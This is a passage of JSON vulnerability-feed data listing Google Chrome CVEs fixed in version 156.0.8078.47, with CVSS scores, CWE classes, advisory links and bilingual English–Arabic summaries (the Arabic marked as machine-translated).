عالي)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/558464760","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113306","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:24Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Improper input validation in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to bypass web ori","ar":"التحقق غير السليم من المدخلات في Network في متصفح Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتجاوز سياسة مصدر الويب إلى صفحة ذات صلاحيات"},"summary":{"en":"Improper input validation in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to bypass web origin policy into a privileged page via a crafted file. (Chromium security severity: Low)","ar":"سمح التحقق غير السليم من المدخلات في Network في متصفح Google Chrome قبل الإصدار 156.0.8078.47 لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتجاوز سياسة مصدر الويب إلى صفحة ذات صلاحيات عبر ملف مصمم خصيصًا. (مستوى خطورة أمان Chromium: منخفض)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/524695296","ref"]],"epss":0.0045,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113307","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-451","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:24Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"UI misrepresentation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to spoof UI elements via a crafted Chrome extensi","ar":"سوء تمثيل واجهة المستخدم في Extensions في متصفح Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بانتحال عناصر واجهة المستخدم عبر إضافة Chrome مصممة خصيصًا"},"summary":{"en":"UI misrepresentation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to spoof UI elements via a crafted Chrome extension. (Chromium security severity: Medium)","ar":"سمح سوء تمثيل واجهة المستخدم في Extensions في متصفح Google Chrome قبل الإصدار 156.0.8078.47 لمهاجم عن بُعد بانتحال عناصر واجهة المستخدم عبر إضافة Chrome مصممة خصيصًا. (مستوى خطورة أمان Chromium: متوسط)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/514066180","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113290","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:23Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Missing authorization in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to bypass si","ar":"نقص المصادقة في Input في متصفح Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العرض بتجاوز عزل الموقع عبر صفحة HTML مصممة خصيصًا"},"summary":{"en":"Missing authorization in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)","ar":"سمح نقص المصادقة في Input في متصفح Google Chrome قبل الإصدار 156.0.8078.47 لمهاجم عن بُعد اخترق عملية العرض بتجاوز عزل الموقع عبر صفحة HTML مصممة خصيصًا. (مستوى خطورة أمان Chromium: متوسط)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/506152584","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113291","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-451","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:23Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"UI misrepresentation in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to spoof UI elements via a crafted HTML page.","ar":"سوء تمثيل واجهة المستخدم في FullScreen في متصفح Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بانتحال عناصر واجهة المستخدم عبر صفحة HTML مصممة خصيصًا"},"summary":{"en":"UI misrepresentation in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","ar":"سمح سوء تمثيل واجهة المستخدم في FullScreen في متصفح Google Chrome قبل الإصدار 156.0.8078.47 لمهاجم عن بُعد بانتحال عناصر واجهة المستخدم عبر صفحة HTML مصممة خصيصًا. (مستوى خطورة أمان Chromium: منخفض)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/514008724","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113292","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-451","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:23Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"UI misrepresentation in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to spoof address bar via a crafted HTM","ar":"سوء تمثيل واجهة المستخدم في Omnibox في متصفح Google Chrome على نظام Android قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بانتحال شريط العناوين عبر صفحة HTML مصممة خصيصًا"},"summary":{"en":"UI misrepresentation in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to spoof address bar via a crafted HTML page. (Chromium security severity: Low)","ar":"سمح سوء تمثيل واجهة المستخدم في Omnibox في متصفح Google Chrome على نظام Android قبل الإصدار 156.0.8078.47 لمهاجم عن بُعد بانتحال شريط العناوين عبر صفحة HTML مصممة خصيصًا. (مستوى خطورة أمان Chromium: منخفض)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/553248404","ref"]],"epss":0.0042,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113293","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:23Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Out of bounds write in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the san","ar":"كتابة خارج الحدود في ANGLE في متصفح Google Chrome على نظام Windows قبل الإصدار 156.0.8078.47 سمحت لمهاجم عن بُعد بتنفيذ شيفرة عشوائية خارج صندوق الحماية عبر صفحة HTML مصممة خصيصًا"},"summary":{"en":"Out of bounds write in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"سمحت كتابة خارج الحدود في ANGLE في متصفح Google Chrome على نظام Windows قبل الإصدار 156.0.8078.47 لمهاجم عن بُعد بتنفيذ شيفرة عشوائية خارج صندوق الحماية عبر صفحة HTML مصممة خصيصًا. (مستوى خطورة أمان Chromium: عالي)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/562040486","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113294","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:23Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Incorrect authorization in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML pag","ar":"أذونات غير صحيحة في Loader ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمحت لمهاجم عن بُعد بتجاوز سياسة مصدر الويب عبر صفحة HTML مصممة."},"summary":{"en":"Incorrect authorization in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","ar":"أذونات غير صحيحة في Loader ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمحت لمهاجم عن بُعد بتجاوز سياسة مصدر الويب عبر صفحة HTML مصممة. (خطورة أمان Chromium: منخفضة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/563015337","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113298","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-451","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:23Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"UI misrepresentation in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer proce","ar":"تحريف واجهة المستخدم في Transactions Platform ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العرض (renderer process) بالحصول على معلومات حساسة عبر صفحة HTML مصممة."},"summary":{"en":"UI misrepresentation in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted HTML page. (Chromium security severity: High)","ar":"تحريف واجهة المستخدم في Transactions Platform ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العرض بالحصول على معلومات حساسة عبر صفحة HTML مصممة. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/553117374","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113281","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:22Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Missing authorization in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to b","ar":"نقص في الأذونات ضمن SiteIsolation في Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العرض بتجاوز سياسة مصدر الويب عبر صفحة HTML مصممة."},"summary":{"en":"Missing authorization in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","ar":"نقص في الأذونات ضمن SiteIsolation في Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العرض بتجاوز سياسة مصدر الويب عبر صفحة HTML مصممة. (خطورة أمان Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/498742883","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113282","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-362","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:22Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Race condition in Views in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process and lever","ar":"حالة تباين (Race condition) في Views ضمن Google Chrome على نظام Mac قبل الإصدار 156.0.8078.47 سمحت لمهاجم عن بُعد اخترق عملية العرض واستغل الهندسة الاجتماعية بانتحال عناصر واجهة المستخدم عبر صفحة HTML مصممة."},"summary":{"en":"Race condition in Views in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","ar":"حالة تباين في Views ضمن Google Chrome على نظام Mac قبل الإصدار 156.0.8078.47 سمحت لمهاجم عن بُعد اخترق عملية العرض واستغل الهندسة الاجتماعية بانتحال عناصر واجهة المستخدم عبر صفحة HTML مصممة. (خطورة أمان Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/553160293","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113283","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-269","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:22Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Improper privilege management in CredentialProvider in Google Chrome on on Windows prior to 156.0.8078.47 allowed a local attacker to execute arbitrar","ar":"إدارة صلاحيات غير سليمة في CredentialProvider ضمن Google Chrome على نظام Windows قبل الإصدار 156.0.8078.47 سمحت لمهاجم محلي بتنفيذ شيفرة عشوائية خارج نطاق الحماية (sandbox) عبر الوصول الفعلي."},"summary":{"en":"Improper privilege management in CredentialProvider in Google Chrome on on Windows prior to 156.0.8078.47 allowed a local attacker to execute arbitrary code outside the sandbox via physical access. (Chromium security severity: Medium)","ar":"إدارة صلاحيات غير سليمة في CredentialProvider ضمن Google Chrome على نظام Windows قبل الإصدار 156.0.8078.47 سمحت لمهاجم محلي بتنفيذ شيفرة عشوائية خارج نطاق الحماية عبر الوصول الفعلي. (خطورة أمان Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/502085234","ref"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113284","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:22Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Use after free in XML in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTM","ar":"استخدام الذاكرة بعد تحريرها (Use after free) في XML ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML مصممة."},"summary":{"en":"Use after free in XML in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"استخدام الذاكرة بعد تحريرها في XML ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML مصممة. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/553121395","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113285","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-908","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:22Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Uninitialized resource in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to read memory outside the sandbox via","ar":"مورد غير تهيئة في ANGLE ضمن Google Chrome على نظام Windows قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بقراءة الذاكرة خارج نطاق الحماية عبر صفحة HTML مصممة."},"summary":{"en":"Uninitialized resource in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"مورد غير تهيئة في ANGLE ضمن Google Chrome على نظام Windows قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بقراءة الذاكرة خارج نطاق الحماية عبر صفحة HTML مصممة. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/563355257","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113286","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:22Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Missing authorization in Google Lens in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process and le","ar":"نقص في الأذونات ضمن Google Lens في Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العرض واستغل الهندسة الاجتماعية لتسريب معلومات حساسة عبر صفحة HTML مصممة."},"summary":{"en":"Missing authorization in Google Lens in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)","ar":"نقص في الأذونات ضمن Google Lens في Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العرض واستغل الهندسة الاجتماعية لتسريب معلومات حساسة عبر صفحة HTML مصممة. (خطورة أمان Chromium: منخفضة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/563183231","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113287","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:22Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Incorrect authorization in Prompts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to bypass system ac","ar":"أذونات غير صحيحة في Prompts ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمحت لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتجاوز قيود الوصول إلى النظام عبر صفحة HTML مصممة."},"summary":{"en":"Incorrect authorization in Prompts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)","ar":"أذونات غير صحيحة في Prompts ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمحت لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتجاوز قيود الوصول إلى النظام عبر صفحة HTML مصممة. (خطورة أمان Chromium: منخفضة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/562945664","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113288","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:22Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Information leak in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to leak sensitive information","ar":"تسريب معلومات في Core ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية لتسريب معلومات حساسة عبر صفحة HTML مصممة."},"summary":{"en":"Information leak in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)","ar":"تسريب معلومات في Core ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية لتسريب معلومات حساسة عبر صفحة HTML مصممة. (خطورة أمان Chromium: منخفضة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/556213889","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113289","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:22Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Incorrect authorization in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to obtain cross-origin data via a crafted","ar":"فشل في المصادقة ضمن PerformanceAPIs في متصفح Google Chrome للإصدارات الأقدم من 156.0.8078.47 يسمح لمهاجم عن بُعد بالحصول على بيانات عبر مصادر مختلفة (cross-origin) باستخدام صفحة HTML مصممة خصيصًا"},"summary":{"en":"Incorrect authorization in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","ar":"توجد ثغرة تتعلق بفشل المصادقة ضمن PerformanceAPIs في متصفح Google Chrome للإصدارات الأقدم من 156.0.8078.47، والتي تسمح لمهاجم عن بُعد بالحصول على بيانات عبر مصادر مختلفة (cross-origin) عبر صفحة HTML مصممة خصيصًا. (مستوى خطورة أمان Chromium: متوسط)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/511311494","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113272","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:21Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Incorrect authorization in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process and l","ar":"فشل في المصادقة ضمن Extensions في متصفح Google Chrome للإصدارات الأقدم من 156.0.8078.47 يسمح لمهاجم عن بُعد تمكن من اختراق عملية العارض (renderer process) واستغلال الهندسة الاجتماعية..."},"summary":{"en":"Incorrect authorization in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: Medium)","ar":"توجد ثغرة تتعلق بفشل المصادقة ضمن Extensions في متصفح Google Chrome للإصدارات الأقدم من 156.0.8078.47، والتي تسمح لمهاجم عن بُعد تمكن من اختراق عملية العارض واستغلال الهندسة الاجتماعية بتنفيذ شيفرة عشوائية خارج نطاق الحماية (sandbox) محتملة باستخدام إضافة Chrome مصممة خصيصًا. (مستوى خطورة أمان Chromium: متوسط)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/513486355","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113273","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-122","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:21Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Buffer overflow in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox v","ar":"فيضان المخزن المؤقت ضمن ANGLE في متصفح Google Chrome للإصدارات الأقدم من 156.0.8078.47 يسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية خارج نطاق الحماية (sandbox) محتملة"},"summary":{"en":"Buffer overflow in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"يوجد فيضان المخزن المؤقت ضمن ANGLE في متصفح Google Chrome للإصدارات الأقدم من 156.0.8078.47، مما يسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية خارج نطاق الحماية (sandbox) محتملة عبر صفحة HTML مصممة خصيصًا. (مستوى خطورة أمان Chromium: عالي)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/561999377","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113274","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:21Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Cross-site scripting in ReadingMode in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to spoof UI elements via a crafted HTML page.","ar":"التبريد عبر المواقع (Cross-site scripting) ضمن ReadingMode في متصفح Google Chrome للإصدارات الأقدم من 156.0.8078.47 يسمح لمهاجم عن بُعد بانتحال عناصر واجهة المستخدم"},"summary":{"en":"Cross-site scripting in ReadingMode in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","ar":"توجد ثغرة التبريد عبر المواقع ضمن ReadingMode في متصفح Google Chrome للإصدارات الأقدم من 156.0.8078.47، والتي تسمح لمهاجم عن بُعد بانتحال عناصر واجهة المستخدم عبر صفحة HTML مصممة خصيصًا. (مستوى خطورة أمان Chromium: منخفض)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/570715681","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113275","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:21Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Missing authorization in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to bypass system access r","ar":"غياب المصادقة ضمن API في متصفح Google Chrome للإصدارات الأقدم من 156.0.8078.47 يسمح لمهاجم 